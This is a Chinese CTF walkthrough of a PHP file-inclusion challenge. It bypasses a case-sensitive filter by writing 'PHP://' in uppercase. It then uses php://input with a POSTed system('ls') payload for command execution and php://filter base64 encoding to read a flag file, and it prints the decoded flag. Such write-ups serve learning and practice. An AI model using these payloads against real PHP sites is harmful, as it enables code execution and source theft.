根据题目这题应该是php文件包含题
分析代码:我们需要向page传入参数并绕过验证,利用include()来实现文件包含
strstr() 函数用法:搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE(该函数是区分大小写的)
//例如:
echo strstr("Hello world!","world"); // 输出 world!
str_replace() 函数用法:替换字符串中的一些字符(区分大小写)
//例如:
echo str_replace("world","Peter","Hello world!"); //输出Hello Peter
php:// 用于访问各个输入/输出流(I/O streams)
经常使用的是php://filter和php://input
php://filter用于读取源码,php://input用于执行php代码。
php://用法及更多php伪协议请参考:https://www.cnblogs.com/endust/p/11804767.html
如果我们直接使用php://就会被str_replace()替换为空
由于strstr()及str_replace() 两个函数都是大小写的,我们只要用大写的PHP://即可绕过
首先利用php://input代码执行查看文件寻找flag位置
http://111.200.241.244:64291?page=PHP://input
POST提交:<?php system('ls') ?>
flag应该就在fl4gisisish3r3.php文件里面
再通过php://filter读取fl4gisisish3r3.php的内容
http://111.200.241.244:64291?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
再通过对PD9waHAKJGZsYWc9ImN0Zns4NzZhNWZjYS05NmM2LTRjYmQtOTA3NS00NmYwYzg5NDc1ZDJ9IjsKPz4K进行base64解密
得到flag
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}